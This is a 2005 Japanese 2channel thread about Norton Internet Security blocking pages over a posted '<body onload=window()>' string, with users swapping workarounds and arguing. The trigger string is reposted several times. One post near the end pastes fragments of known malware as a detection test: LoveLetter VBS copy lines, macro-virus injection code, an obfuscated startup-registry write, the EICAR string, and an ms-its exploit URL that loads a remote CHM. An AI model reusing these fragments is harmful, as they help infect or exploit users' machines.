穴あけることになるのも嫌だからノートン止めるかなぁ
2005/11/30(水) 20:49:45ID:BURzYnMr0
まぁ、減りはせんわな。増えるばっかし。
2005/11/30(水) 20:54:02ID:va8RNOAI0
>>356の書き込みソースは、>>350のリンク先な。
漏れの妄想じゃないから、各自で熟読してくだされ。

ラブレターコードの影響期間を思い出すと、今回のこれも相当長引きそうだよな。
NISの見切り時かもなぁ。強固なのは結構だが、柔軟性に欠け過ぎて使えねぇ・・・
362動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/30(水) 20:58:01ID:EmZzcwQn0
今「本当に危険なコードが埋め込まれた場合」はノートン組は侵入されまくりってこと?
2005/11/30(水) 20:59:34ID:GHMPn2pZ0
2ちゃんに危険なコード埋め込まれることとかあるの?
364動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/30(水) 21:03:21ID:EmZzcwQn0
今の2chはハッカーからしたら格好のエサ場ってことか
入れ食い状態だもんな
2005/11/30(水) 21:07:35ID:907YJjRS0
ルータにファイアウォール
2005/11/30(水) 21:12:23ID:xTjSZYih0
えーと、
最初ログ取得する時だけ進入検知を切って、取得し終わったらまたつける。
ちょっと面倒だけど、今の所コレだけで問題は無いけどな。
また新たに例の文字列が書かれたら、多分2行目を繰り返す事になると思うけど。
2005/11/30(水) 21:30:30ID:HKPxCKkq0
運営が、特定の文字列を書き込めないようにすれば良いだけなんだがなァ・・
2005/11/30(水) 21:49:54ID:OulZaKZm0
喪前が、脳豚なんてしょーもないもんを使わないようにすれば良いだけなんだがなァ・・
2005/11/30(水) 21:53:22ID:kGBN5n3bP
さっきこのスレ見てたらブラウザが開きまくって止まらなくなったんだけど
何これ?
2005/11/30(水) 22:08:44ID:kbSrdeNR0
>>367
2ちゃんだけの問題じゃなくて、他のブログ、掲示板も同じようにされたら駄目らしいし

まさに「淘汰される」べきかと
371動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/30(水) 22:22:29ID:HHwDcv/f0
スレをひらいたらカーソンシティから攻撃されたのできました
372動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/30(水) 22:30:47ID:A13ySxtn0
ノートン叩いてる人って何なの?
2005/11/30(水) 22:30:49ID:CN/m/fcF0
>>13やるデメリットはありますか?
2005/11/30(水) 22:33:31ID:BxRAh3jh0
>>373
ノートンの守備力が下がる
2005/11/30(水) 22:34:01ID:Trod+NS90
>>13の対処法の御蔭でやっと見れました。
376動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/30(水) 22:34:13ID:57oCpOeh0
>>372
貧乏人
2005/11/30(水) 22:35:38ID:va8RNOAI0
>>372
一部の運営の中の人の発言から始まってるんだよ >淘汰されるべき

>>373
内容が理解できない、もしくは想像ができないなら、実行するべきではない。
2005/11/30(水) 22:36:16ID:bvXQDScX0
>>372
NISだけでしょ叩かれてるのは
NAVは誰も叩いてないし
2005/11/30(水) 22:37:54ID:nDruaTfB0
2005/11/30(水) 22:38:21ID:nDruaTfB0
てst
381動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/30(水) 22:41:21ID:NwOhnKAh0
>>349
できるよ
2005/11/30(水) 22:46:19ID:yJYV6cpH0
次にやっちゃうのはマカフィーかな…
NGNG
ガンバレマカフィ−
2005/11/30(水) 22:53:16ID:CN/m/fcF0
もてたい男板でスレ乱立してるんだが原因は何?
2005/11/30(水) 22:55:49ID:bvXQDScX0
>>384
少なくともこのスレとは関係ない
つーか、あったら怖いよw
NGNG
ぱく(ry
ノートン応急対策
http://info.2ch.net/wiki/pukiwiki.php?%CA%E4%C2%AD%A4%C8%CA%E4%B4%B0#Norton_Emergency_measures
ttp://ansitu.xrea.jp/guidance/?NortonInternetSecurity#Emergency_measures
ttp://ansitu.xrea.jp/guidance/?Trap#Emergency_measures
NGNG
>>386補足
(ry続き
りました。

どーもRockっぽいので・・・

>>303-352
ありがとうございます。
2005/11/30(水) 23:24:44ID:7LARcCax0
http://tv8.2ch.net/test/read.cgi/ana/1131978289/
ここ見れますか?
2005/11/30(水) 23:27:12ID:yXtj0IcE0
>>388
そこの857じゃないかな
2005/11/30(水) 23:28:57ID:kGBN5n3bP
303-352って何ですか?
2005/11/30(水) 23:45:42ID:kbSrdeNR0
まとめサイト作ってくれた事への感謝だろ
392動け動けウゴウゴ2ちゃんねる
垢版 |
2005/12/01(木) 00:06:18ID:CAwXRD170
ttp://d.hatena.ne.jp/palm84/
↑こことか
ttp://kmajo.blog34.fc2.com/
↑ここを見ると とりあえず実害としては
「IEが落ちる」だけなのかな?

シグネチャ除外しようかな・・・
2005/12/01(木) 00:06:42ID:Df3cQtuiP
303-352の中に変なコードある?
ノートンが検知して見れないけど
2005/12/01(木) 00:13:30ID:A61JgGjE0
ノートン切ってから確認してみ
2005/12/01(木) 00:16:03ID:XpcS8lZs0
みんなノートンやめるやめる言ってるがどのソフト入れる?
2005/12/01(木) 00:18:32ID:CKm/Zduu0
NIS使い2ちゃんねらが全員信頼ゾーン対策した瞬間
JIMが気ィ狂って2ch鯖に攻撃スクリプトを組み込むという
ダメシナリオで映画化決定
2005/12/01(木) 00:27:55ID:aHMzi8rD0
>>396
それが怖いから信頼ゾーンに入れられないんだよなあ…
2005/12/01(木) 00:31:09ID:A61JgGjE0
だから信用出来ない人用に>>108のAAがあるわけでw
399動け動けウゴウゴ2ちゃんねる
垢版 |
2005/12/01(木) 00:39:56ID:lF2jyvcp0
お前らちょっと無防備すぎだぞ
今回のはどうも火傷だけでは済まないような気がする
小心者が救われるかもな。
2005/12/01(木) 00:51:58ID:BtaV75tb0
淘汰されるべきというのもわからんではないが、
もうちょい方法があるだろうて。。。
2005/12/01(木) 00:54:06ID:eWHuwMym0
だから拡張でHTTP MSIE〜のチェックを外せ
2005/12/01(木) 00:57:33ID:A61JgGjE0
本件の主犯はマイクロソフト、IEの穴をふさいでないからNISで対応
それが裏目に出たのがこの騒動

218 名前:水色@飛行石 ★ 投稿日:2005/11/28(月) 14:14:56 ID:???0
うーん。
ノートンやめちゃったからよく判らないですがー。

MSの脆弱性の部分をノートンが対応したら、
それがトラップに利用されちゃったってことかなー。
2005/12/01(木) 01:06:28ID:CKm/Zduu0
この中で一番悪いのは誰?

・クソIEのセキュ穴対応が遅いMS
・ただの文字列でも反応させてるシマンテック
・コードの書き込み禁止にしない2ch運営(特にマァヴ)
・自分の意思でNIS導入したユーザー
・姉歯と小島と藤田と木村
2005/12/01(木) 01:12:11ID:p29wERnO0
参加者追加

・クソIEのセキュ穴対応が遅いMS
・ただの文字列でも反応させてるシマンテック
・コードの書き込み禁止にしない2ch運営(特にマァヴ)
・自分の意思でNIS導入したユーザー
・姉歯と小島と藤田と木村
・お前
・俺
・母ちゃん
・小泉
・将軍様
2005/12/01(木) 01:12:37ID:tW2B9h+k0
5と9
2005/12/01(木) 01:13:09ID:tW2B9h+k0
9じゃねぇ10だorz
2005/12/01(木) 02:07:09ID:QOiBadId0
・父ちゃん
・母ちゃん
・ロドリゲス

408動け動けウゴウゴ2ちゃんねる
垢版 |
2005/12/01(木) 02:45:38ID:XLtCWLe50
あげますね
2005/12/01(木) 03:03:22ID:Y7uAe7zH0
・武部勤
410動け動けウゴウゴ2ちゃんねる
垢版 |
2005/12/01(木) 03:37:56ID:aESgP7FoO
この文章を見た人は、4日以内に不幸が起き、44日後に死にます。知り合いは、
これを信じず、親が死にました。それが嫌なら、これを、5カ所にコピペして下さい。
2005/12/01(木) 04:07:26ID:IMdx15eS0
>>410
嫌です
2005/12/01(木) 04:14:59ID:Uts4qnku0
>>410
年内に死ぬ予定なんでべつにかまいません
2005/12/01(木) 07:20:38ID:Ff8heY8V0
俺の心を殺してくれよ この醜い心を
2005/12/01(木) 07:24:43ID:3pROTkC80
>>412
IDが鬱死ということを確認した。
2005/12/01(木) 07:58:31ID:uQwhhMe/0
いまどきIE使ってる人なんて
2005/12/01(木) 08:35:41ID:eZ8RzURyO
ないない
2005/12/01(木) 09:50:02ID:Ew9HAuVS0
火狐です。
2005/12/01(木) 10:38:43ID:BbdWIW8Y0
運営がとろとろしてるからいけねぇんだよボケが

じっくりことこと煮込んでんじゃねーんだよ
とっと対応しろやカス
2005/12/01(木) 10:43:58ID:1fUs7RRF0
運営などいないという突っ込みは置いておいて。。。

>>418
http://qb5.2ch.net/test/read.cgi/operate/1132976990/448-449
448 名前: ◆SSu.zv/rvs [sage] 投稿日: 2005/11/29(火) 15:14:32 ID:zBqE3jpw0
淘汰されなきゃね、
生き残りを手伝う気はさらさらないっす

449 名前: ◆MUMUMUhnYI [sage] 投稿日: 2005/11/29(火) 15:18:01 ID:VEIDKG1+0
そんな迷惑なソフトなんて、自然にまかせてなくなるべきだって、
おじさんはゆうだろうな。

私も、そう思っていたり。
2005/12/01(木) 12:36:15ID:y6AojbQT0
幼稚園の園児たちに期待する方が間違ってる
2005/12/01(木) 12:38:11ID:X4XjzQCX0
ノートン使ってるやつって幼稚園児なの?
2005/12/01(木) 12:39:59ID:eXHm+KqR0
ノートン先生ってよく言うじゃん。
2005/12/01(木) 13:11:41ID:BF/Q6J/m0
素通りさせる以外(信頼に追加以外)
なにか有効な方法ないのか?

つーか「信頼が追加」が「有効」なんてマジでいってんのか?
2005/12/01(木) 13:14:29ID:ulq76mRW0
>423
NISを窓から(ry

今回の件で大分問い合わせ来てるにもかかわらず何も対策する予定もなさそうなので
別なのに乗り換えた方が無難かも
2005/12/01(木) 13:15:47ID:ulq76mRW0
>424
参考記事

「2ちゃんねるの一部掲示板が見られない」Nortonがアクセス遮断
ttp://internet.watch.impress.co.jp/cda/news/2005/11/30/10035.html
2005/12/01(木) 13:39:57ID:BF/Q6J/m0
>>425
今回の件はノートンが、なんとかするべきだろ?
今回のコードは短過ぎる。貼る馬鹿は後をたたない。

例えば「orz」が攻撃コードと認定されたら書いた奴のせいか?

買ったばっかりだけど返品できるのか?>ノートン
2005/12/01(木) 15:04:28ID:SdYJg/Pv0
対応してくれないとブログとかも見れなくなるしな
2005/12/01(木) 15:59:55ID:7z8TtYrS0
ラブレターとか他のウイルスコードのことから考えてもシマンテックが対応する可能性は低い
セキュリティソフト乗り換える・反応がウザくても使う・セキュリティを無効にする・2ちゃんねるの鯖を信頼する
全ては利用者の判断
2005/12/01(木) 16:13:54ID:eWHuwMym0
NISを停止。フリーのFWを導入。これ一番ヨ
2005/12/01(木) 16:22:47ID:SVI+eTJQ0
今はイタズラで済んでるし、NIS使ってる人だけの問題だけど
実際にこの脆弱性をを利用して被害を受けた場合
その書き込みをに対する処置をしなかった運営は問題にならないの?
2005/12/01(木) 16:24:34ID:7z8TtYrS0
ノートンが誤反応する文字列を書き込んでどんな被害が発生するの?
2005/12/01(木) 16:36:34ID:/ztf1ywb0
>>430
ただの文字列は攻撃してこないんだが
ノートンが過剰反応しすぎなんだよ
2005/12/01(木) 16:37:07ID:7TL/REr10
IEの脆弱性とNPFWのバグを同時に語るから混乱するんだ。
先生のバグだけに目を向けろ。IEの脆弱性はMSの問題だ。

ひろゆこが悪意のあるスクリプトを仕込む可能性があるとでも言いたいのか?>>430
2005/12/01(木) 16:49:41ID:7z8TtYrS0
1.セキュリティソフトを乗り換え
   このままノートンを使っていれば防げたはずの被害を受けるかもしれない
2.このままノートンを使う
   今他のセキュリティソフトに乗り換えておけば防げたはずの被害を受けるかもしれない
3.この脆弱性に対する検出を無効にする
   この脆弱性をついた攻撃を受けるかもしれない
4.2ちゃんねるのサーバを検出対象から除外する
   2ちゃんねるを改竄して攻撃してくる人がいるかもしれない
   2ちゃんねるを書き換える権限を持った人が攻撃してくるかもしれない
   IPアドレスを詐称する方法を考案して攻撃してくる人がいるかもしれない

どれが起こりそうでどれが起こらなそうか
全ては自分で判断しなければなりません
2005/12/01(木) 16:50:27ID:CKm/Zduu0
>>433
運営自身が何もしなくても○国人(○にはお好みの文字を入れてね)に2ch鯖
ハックられてありとあらゆる攻撃スクリプトを押し込まれるという可能性は無くもない
436動け動けウゴウゴ2ちゃんねる
垢版 |
2005/12/01(木) 16:55:04ID:Df3cQtuiP
攻撃してくる文字列は存在する
お前らマジで気をつけろよ
2005/12/01(木) 16:56:15ID:/ztf1ywb0
だから心配性なお前らのために(皮肉で)>>108
AAが用意されてるんだよw
2005/12/01(木) 16:56:46ID:7TL/REr10
>>435
もちろん可能性は0%ではないわな。
でもそれを言い出すとキリがないし、おじさん達のサーバ管理能力を疑う事になる。
当然100%信用しろとは言わないが。まあ>434て事で。
2005/12/01(木) 16:59:42ID:1j0U5eHi0
ここは被害妄想なスレですね
2005/12/01(木) 17:05:19ID:L+TEuIfh0
MSがパッチ出すまでIE以外のブラウザ使うようにして
HTTP MSIE javaScript OnLoad Rte CodeExecのチェック外せばいいじゃん

なんで自分でどうにかしようとしないんだろうな
441動け動けウゴウゴ2ちゃんねる
垢版 |
2005/12/01(木) 17:06:31ID:FvA5b8vb0
ノートン叩いてる人はもし自分のウイルスソフトが同じような事したら笑っていられるんだろうか
2005/12/01(木) 17:07:11ID:7TL/REr10
>>440
IEの穴がふさがっても、このままだと、誤反応するのは同じだぞ。
2005/12/01(木) 17:07:33ID:eRb3C05X0
自分でどうにかはわかるけど、やっぱノートンのファイアウォールが駄目だよ
実害のない文字列として、きちんと判別できないなんてまともなソフトといえない
2005/12/01(木) 17:12:38ID:7TL/REr10
>>441
だれも叩いてるようにはみえないが。不具合を不具合と指摘してるだけ。
> 自分のウイルスソフトが同じような事したら笑っていられるんだろうか
とっとと捨てる。
445動け動けウゴウゴ2ちゃんねる
垢版 |
2005/12/01(木) 17:17:15ID:SqpGkdpj0
>>443
金取ってるソフトだし同意とはいえるが・・・

しかし、こんな些細な事で吠えてたらOSだってクラッシュするしキリないじゃん?

問題は使い手じゃないかな?

こんな簡単な問題自分でクリアできなければ、ネットってかPCやらなければいい。
むしろPC触る資格がない。
それだけじゃない?

だから、ノートン叩いてるのはド初心者かネタのどっちか。
自分で使ってるOSの方が沢山の問題抱えてるんだからね。
2005/12/01(木) 17:19:28ID:AiPbBkR00
>>445がきっと修正ファイルを作ってくれると信じてる
2005/12/01(木) 17:19:59ID:7TL/REr10
おまいら飛躍しすぎ
2005/12/01(木) 17:21:00ID:/ztf1ywb0
便利であればみんなが使うしそうでなければ離れていく

それだけの話
2005/12/01(木) 17:37:22ID:CKm/Zduu0
    |
\  __  /
_ ( m ) _ピコーン
   l≡l
/  ('A`) \ そうだ俺たちにはまだ「人に優しい1ch.tv」があるじゃないか!
   ノヽノヽ
     くく
2005/12/01(木) 17:48:17ID:SCMMKc830
>>117
>>118
NG使えるよ、透明で登録しておくと使える
ただし>>118の言うように原因究明で困る。
というのは、普通は自動で消されて問題ないのだが
該当レスにリンクする奴がいるとひっかかる。
その時は消えたレス番を探してそいつにリンクしてる奴を探さなければならんいかんので面倒。
という事でやっと突き止めた
>>299のように該当レスに>>でリンクするのはやめてくれ・・・
2005/12/01(木) 18:19:35ID:BF/Q6J/m0
死万木偶の工作員ウザ杉。

なんの為に金払ってるんだ? なんの為のFWだ?

正確に有害なものだけを遮断するためだろう?
なんでもかんでも遮断するだけならFWなんていらねーよ。

「インタテーネッツは危険だから全ての接続を遮断します。」
これで金払えってか? ふざけるな。
2005/12/01(木) 18:36:57ID:Gxd85s8lO
とりあえずノートンを叩いて、「おれはわかってるんだぜ」と通ぶりたいんだろw
2005/12/01(木) 18:37:10ID:3bOr3hdX0
ギコナビで透明あぼ〜ん(レスポップアップ時のあぼ〜ん有効にチェック)すれば
>>3しなくてもいいんだな
2005/12/01(木) 18:42:19ID:SqpGkdpj0
>>451
返品とかって、、、ノートンレベルの糞ソフトも使いこなせないならネットしない方がいい。

その前にバグだらけのWindowsをMSに返してこい。

つーか、初心者はノートン使うなと。
455453
垢版 |
2005/12/01(木) 18:42:47ID:3bOr3hdX0
ごめん、やっぱり無駄だった。
2005/12/01(木) 18:45:59ID:HQBUOAKR0
MSはまだ対策してくれるからなあ、市萬よりかは
2005/12/01(木) 18:50:20ID:SqpGkdpj0
窓板行って来い。脳豚と同等かそれ以下だ。
2005/12/01(木) 18:53:34ID:7TL/REr10
被害妄想や詭弁や煽るだけじゃなくてさ、救護するなら
もっと建設的な意見をいえよ。叩かれていると思ってるみんなに。

NPFWを使い続ける理由を。
2005/12/01(木) 19:01:59ID:SqpGkdpj0
>>458
俺が脳豚を使い続ける理由は、10秒もあれば設定できて使えるから。
他の入れたりすれば金かかるしフリー入れても10秒ってわけにはいかないから。

そして救護だか何だかしらんけど、俺がここに書く理由は楽しいから(笑)
2005/12/01(木) 19:02:44ID:BF/Q6J/m0
>>454 ID:SqpGkdpj0

凄い厨が湧いたな・・・

初心者だからノートンが誤作動するってか?
初心者も糞も、どんな玄人が今回の件を回避出来てるんだ?

対策が有害無害まとめてスルーしかない(これは回避策じゃない)
ノートンにちゃんと識別させる方法を教えてくれ。
2005/12/01(木) 19:10:08ID:7z8TtYrS0
>>460
シマンテックが対策する以外に方法は無いと思うが
2005/12/01(木) 19:11:32ID:SqpGkdpj0
>>460
何いってんだ?
俺は、ノートンの設定もできない初心者じゃしょーがねーってこと言ってんだよ。

>ノートンにちゃんと識別させる方法を教えてくれ。
それに何?そんな文句はシマンテックに言えよ。
脳豚に識別させるってソース開かねーんだからできるわけねーべ アホか。

俺は、文句言ってる暇あるなら設定しろと言ってるんだ。
463動け動けウゴウゴ2ちゃんねる
垢版 |
2005/12/01(木) 19:17:31ID:BF/Q6J/m0
>>462
もう、お前が初心者で厨なのは良くわかった。
IP素通りさせるのが「設定」か?(笑

初心者板で大人しくしてろ低脳。
464動け動けウゴウゴ2ちゃんねる
垢版 |
2005/12/01(木) 19:17:32ID:niDioA4V0
喧嘩やめろよ!仲良くしろよ!
2005/12/01(木) 19:19:38ID:7TL/REr10
>>462
だから煽りや詭弁は止めろといってるだろ。落ち着け。

>459をみるに、用は他のを入れるのマンドクセーし金払う気もないから
多少の不具合は設定で我慢するぜと言うことかな。
それも一つの意見だな。
2005/12/01(木) 19:24:04ID:SqpGkdpj0
>>463
IP素通りさせるのが「設定」だ。

それ以外にノートンをどうにかできると思ったのか?
変な夢みてるんじゃねーよ。ド初心者が(笑)

つーか、気に入らないなら素直に他の使えばいいだろ。

まぁ、オマエにはIP受け入れてその後にフィルタ掛けるなん(ry
2005/12/01(木) 19:30:29ID:/ztf1ywb0
6 名前:ひろゆき ◆3SHRUNYAXA 投稿日:05/01/09 00:00:25 ?## ID:RlY1yXg2
議論して、知識を得ようとしてるんじゃなくて、
勝ち負けにこだわってる人ってのは、
基本的に頭悪いと思ってます。。

2005/12/01(木) 19:34:25ID:7TL/REr10
>>466
だから煽(ry

本質がずれてないか、NPFWが単なる文字列に反応する事に関しての情報の蓄積が趣旨のスレだぞ。
折角だから、使用者が初心者が多いだろうからその通のテクをここで披露すればみんなのためになるぞ。
2005/12/01(木) 19:35:08ID:z3Yo+F+00
ひろゆきの”頭悪いと思ってます”シリーズの煽り、あと何通りあったっけなぁ
2005/12/01(木) 19:36:06ID:7TL/REr10
日本語が変だが勘弁してちょうだい。。
2005/12/01(木) 19:42:48ID:SCMMKc830
>>453
あー、ポップアップにもできるならいいのかもね
LIVEにはあったかなー
と思ったら>>455駄目でしたか
何故かあぼんじゃ駄目なんだよね
2005/12/01(木) 19:48:05ID:X/Ly/Tqg0
>>14やってみたけど未だにダウン板が見れない・・・
ナゼに??
2005/12/01(木) 19:56:01ID:SqpGkdpj0
>>468
確かにそうだなw
つか、正直煽りで暇潰して楽しんでいた。
荒らしてスマン。
BF/Q6J/m0 にも謝っておくよスマン。

じゃ一応俺の環境を書いておくよ 参考にならんと思うけど。

俺の場合ネットにはルーティングマシン通して接続してるから
ルーティングする際に怪しいコードを弾いてローカルで観覧してる。
つまり脳豚ファイァオールではなく別のマシンが防火壁になってる。

だから実は脳豚は関係無かったりする(´・ω・`)

そんじゃ消えます
2005/12/01(木) 19:57:26ID:HQBUOAKR0
>>472
autoblockのほうで設定してるとか

1日前の俺のことだが('A`)
475動け動けウゴウゴ2ちゃんねる
垢版 |
2005/12/01(木) 20:26:24ID:VVCYcTZd0
まとめページの対処方法をやってみたら
板覧がおかしくなったんですが元に戻せますかね?
janeDoeViewです
2005/12/01(木) 20:29:56ID:RZn06jjy0
>>475
http://qb5.2ch.net/test/read.cgi/operate/9240000003/
2005/12/01(木) 20:46:08ID:aHMzi8rD0
http://www.microsoft.com/japan/technet/security/advisory/911302.mspx
これによるとアクティブスクリプトを無効にすれば
HTTP MSIE JavaScript Onload Rte CodeExecの検知は必要なくなるみたいだね。
2chを信頼したくない人はこっちでやった方が良いかもよ。
478動け動けウゴウゴ2ちゃんねる
垢版 |
2005/12/01(木) 21:07:38ID:NgGuaDqu0
   \  __  /
   _ (m) _ピコーン
      |ミ|
   /  .`´  \
     ('A`) そうだ諦めよう!
     ノヽノヽ
       くく
479動け動けウゴウゴ2ちゃんねる
垢版 |
2005/12/01(木) 21:09:49ID:VVCYcTZd0
>>476
ありがとう!
見てみます
2005/12/01(木) 21:12:43ID:X/Ly/Tqg0
>>474
もう一個の設定出来たらスムーズに出来ちゃいました!
親切にありがとね。
481動け動けウゴウゴ2ちゃんねる
垢版 |
2005/12/01(木) 21:58:56ID:kJ795N2R0
フジスレにスレタイがこれのスレが
482動け動けウゴウゴ2ちゃんねる
垢版 |
2005/12/01(木) 22:03:15ID:dNq4OE/f0
なんか、直ったっぽくねぇ?
気のせい?
2005/12/01(木) 22:33:57ID:fa798wEV0
あの、
【Norton Internet Security】
  ↓
【侵入防止】
  ↓
【AutoBlock】                      ←
手動で【遮断しているコンピュータ】を【すべてを遮断解除】→↑

の繰り返しが安全じゃないですか?
2005/12/01(木) 22:42:48ID:7z8TtYrS0
コードが貼られたスレ(板)開く

侵入検出

遮断解除

取得をやりなおす

侵入検出

以下ループ

穴あけないと使えない
485動け動けウゴウゴ2ちゃんねる
垢版 |
2005/12/01(木) 22:49:36ID:UY8lxahn0
んなろー!ブラッドハウンドなんぞ貼ったやつ出てコイや!めんどくせー('A`)
さっきは実況chTXでも検出したぞ
2005/12/01(木) 23:27:00ID:f0UsKPRw0
>>485
それはノートン先生からログ除外すればいいんじゃ・・・(´・ω・`)
487動け動けウゴウゴ2ちゃんねる
垢版 |
2005/12/01(木) 23:36:42ID:BF/Q6J/m0
なんかスレの流れが変。

「危険が嫌ならFW乗り換えろ」って意見は多数出る。
しかし金出して買った権利どうすんだ?

ユーザーに誤作動の責任なんか無いぞ。
乗り換えるにしても誤作動が原因なら当然返金だよな?

正規ユーザーがおらんのか? 工作員が邪魔してるのか?
2005/12/01(木) 23:41:35ID:WIUt1ZNZ0
>>487
442 名前:動け動けウゴウゴ2ちゃんねる 投稿日:2005/11/29(火) 15:01:54 ID:eTCs9aYs0(1)
>運営の人
ノートン誤作動の件なんだけど明らかに狙って書き込みしてるんだから
特定文字列を書き込みしようとした人を強制バーボンとかしてもいいんじゃないの?

448 名前: ◆SSu.zv/rvs 投稿日:2005/11/29(火) 15:14:32 ID:zBqE3jpw0
淘汰されなきゃね、
生き残りを手伝う気はさらさらないっす

449 名前: ◆MUMUMUhnYI 投稿日:2005/11/29(火) 15:18:01 ID:VEIDKG1+0
そんな迷惑なソフトなんて、自然にまかせてなくなるべきだって、
おじさんはゆうだろうな。

私も、そう思っていたり。
2005/12/01(木) 23:41:47ID:VpH6UZP80
Windowsやめればいいんじゃね?
2005/12/01(木) 23:47:29ID:rKQDZ2GC0
Mac使いはだあっとれ!
491動け動けウゴウゴ2ちゃんねる
垢版 |
2005/12/01(木) 23:49:34ID:BF/Q6J/m0
>>488
誤作動するのは2chだけか?

>>489
代わりは? マックか? リナか? トロンか?

OS換えるよりFW交換の方が安くて早い。
選択肢もOSより多い。

なにより
「ゲイツさん、ノートンが誤作動します。OS代金返して」
「ノートンに言え。他のソフトじゃ誤作動しない。」
で終了。
2005/12/01(木) 23:58:45ID:UY8lxahn0
>>486
えーと、言葉足らずだったかな
めんどくせーのは、検出されるたびにそのIPを信頼リストに入れるのが、ってこと
(ま、2chすべて信頼済みにすればいいんだろけど)
実動作しない単に貼られた文字列に反応するノートン先生もトンチキだけど、
そもそもそういうのを貼るのが困ったもんだわ('A`)
2005/12/02(金) 00:06:32ID:f/DdBIuN0
自殺したとか言ってたのに今日も元気に2chかよ磊厨w
2005/12/02(金) 00:44:36ID:qGXnD/Au0
再インストールしたら、問題解決した。
ノートン側が対応したのかな。
2005/12/02(金) 01:01:34ID:E1VjDr3W0
アップデートしてないからだろ
2005/12/02(金) 02:32:13ID:GJg9CYrP0
ワロス
2005/12/02(金) 09:34:49ID:iz9f1dAv0
INSの除外にbody onload=w**w()を追加じゃ駄目なの?
2005/12/02(金) 11:12:45ID:cheTjBMl0
181 ◆Reffiz2Zh. sage 2005/11/28(月) 11:34:22 ID:BlBjwc9/0
>178
新手のノートントラップです。
ここじゃ、明かせないのでメールにて説明しますね。
186 ◆MUMUMUhnYI sage 2005/11/28(月) 11:51:32 ID:/3xX5FyA0
>>181
メール届きました。
ううむ。なんだかなぁ。
188 ◆MUMUMUhnYI sage 2005/11/28(月) 11:52:48 ID:/3xX5FyA0
とりあえず、問題の本質は理解したです。
ノートントラップというか、問題はもっと根が深いかんじですね。
公開情報ではありますが、確かに現段階では、ここに書くのははばかられるです。
194 ◆MUMUMUhnYI sage 2005/11/28(月) 11:56:51 ID:/3xX5FyA0
ひとことだけ。
「ノートンから除外した場合(というか一般的に当然ですが)には、
不審なリンクは不用意にクリックしない」
とゆうことで。


・・・なんか裏で極秘プロジェクトでも進んでるの?
2005/12/02(金) 11:32:13ID:CS5/4izN0
>>498
公開の場に詳しく書くと、見る人が見た時悪用できるって事だと思う。
最後のは「ノートンの防御機能を無効にしたらユーザーが気をつける」
むむむさんが書いてる通り当然のこと。
ってかノートン入れてても怪しいリンクを安易に踏まないのは基本。
500大空寺あゆ親衛隊 HELVA ◆THYOQYTAXA
垢版 |
2005/12/02(金) 11:46:51ID:ha+3nG/10
ウチも2ちゃんねるをおうえんしています
501動け動けウゴウゴ2ちゃんねる
垢版 |
2005/12/02(金) 13:07:35ID:cnBkrw7B0
もう落ち着いたのか?
2005/12/02(金) 13:32:17ID:cheTjBMl0
>>499
なるほど、納得
2005/12/02(金) 13:34:57ID:NVBOvwGY0
侵入防止のHTTP MSIE javaScript OnLoad Rte CodeExecに
更に細かく除外するコンピュータの設定がついてれば今より少しは安心出来るのに
まあそこまで細かくしすぎると管理し辛いか
2005/12/02(金) 14:52:00ID:8ba/exXp0
昨日からノートン入れた者なのですが
ニュー速のスレを開いたら何者かが侵入を試みたので防ぎましたみたいなのが
出てそれからΝ速、+、共に見れなくなりました・・・
2005/12/02(金) 14:54:05ID:kr+j+cUM0
このスレ全部読めばそんな書き込みしなくても解決するだろうに・・・
2005/12/02(金) 15:22:07ID:qr3dRIBW0
とりあえず解決しますた。
このスレのおかげでつ
2005/12/02(金) 16:28:38ID:Pk54sSfs0
>>503
確かにな。「2ch鯖からのHTTP MSIE javaScript OnLoad Rte CodeExec検知」だけ
除外できれば言うことなしだったのに。
2005/12/02(金) 16:52:13ID:tIJ8d4TQ0
金払ってるのが馬鹿らしくなる。
2005/12/02(金) 18:23:29ID:kFY/QJAu0
>>265
どもですよ
510動け動けウゴウゴ2ちゃんねる
垢版 |
2005/12/02(金) 20:42:10ID:IHq1xYI10
<body onload=window()>
テスト
511動け動けウゴウゴ2ちゃんねる
垢版 |
2005/12/02(金) 22:05:12ID:h5gB50Dy0
>>510
氏ね。
512動け動けウゴウゴ2ちゃんねる
垢版 |
2005/12/02(金) 22:07:34ID:6e6XLCLy0
>>511
<body onload=window()>
513動け動けウゴウゴ2ちゃんねる
垢版 |
2005/12/03(土) 00:55:30ID:r4GdU0C10
あぼーん
514動け動けウゴウゴ2ちゃんねる
垢版 |
2005/12/03(土) 10:44:32ID:F4mYTX8O0
これが原因だったのか!!!
515動け動けウゴウゴ2ちゃんねる
垢版 |
2005/12/03(土) 10:55:30ID:5PagNx8c0
今は間カフィのほうのPCでアクセスしてるからこのスレがちゃんと見えるけど、
野トンだと>>509以降の表示がぶっ壊れるよ
なにやってんだかな、野トン先生orz
516シラネーヨ
垢版 |
2005/12/03(土) 11:15:23ID:H4hlwyNK0
シラネーヨ
2005/12/03(土) 20:13:14ID:xBom7gmX0
どれどれ。実験。

c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
ms-its:mhtml:file://c:\ 
kak.hta';ken=wd+'START
End Sub
2005/12/03(土) 20:49:29ID:3AOyRztk0
      ∬
      酒 (´д`)  < 俺、知ってるよ…。
     ========  \
   /※※※※ゞノ ,_)
  ~~~~~~~~~~~~~~~~
2005/12/03(土) 23:28:01ID:MCEAT7+b0
>>493
磊厨どこにいるの!?
2005/12/04(日) 01:26:29ID:eoIfSVsw0
>>517
反応した・・・。
521動け動けウゴウゴ2ちゃんねる
垢版 |
